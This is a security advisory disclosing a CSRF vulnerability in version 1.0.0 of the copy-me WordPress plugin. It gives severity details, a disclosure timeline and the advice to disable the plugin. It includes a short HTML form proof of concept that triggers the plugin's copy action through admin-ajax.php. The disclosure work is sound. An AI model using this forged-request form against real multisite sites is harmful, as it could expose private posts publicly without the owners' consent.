WordPress Plugin copy-me vulnerable to CSRF

WordPress Plugin copy-me vulnerable to CSRF, which allows unauthenticated attacker to copy posts.

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Copy-me Plugin

copy-me plugin allows users to copy a post, page or custom post type to another site in a WordPress.

Vulnerability

This plugin does not use nonces. Copying posts could allow taking a secret post from a non-public site within a multisite installation and moving it to a public site.

This attack is classified as OWSAP 10 CSRF(Cross-Site Request Forgery).

Affected Version

Software: copy-me
Version: 1.0.0
Homepage: http://wordpress.org/plugins/copy-me/
Advisory report: dxw security
CVE: Awaiting assignment
CVSS: 4.3 (Medium; AV:N/AC:M/Au:N/C:N/I:P/A:N)

Proof of concept

Click submit and it’ll copy post with ID 1 to blog/site with ID 1:
<form method=\”POST\” action=\”http://localhost/wp-admin/admin-ajax.php\”;>
<input type=\”text\” name=\”action\” value=\”copyme_copy_item\”>
<input type=\”text\” name=\”id\” value=\”1\”>
<input type=\”text\” name=\”target\” value=\”1\”>
<input type=\”submit\”>
</form>

Timeline

2016-11-01: Discovered by dewhurstsecurity
2016-12-07: Reported to vendor via contact form: http://www.alancesarini.com/en/contact-2/
2016-12-07: Requested CVE
2016-12-21: Vendor has not responded after 14 days
2016-12-21: Published

Mitigations

Disable the plugin. No fixed version released.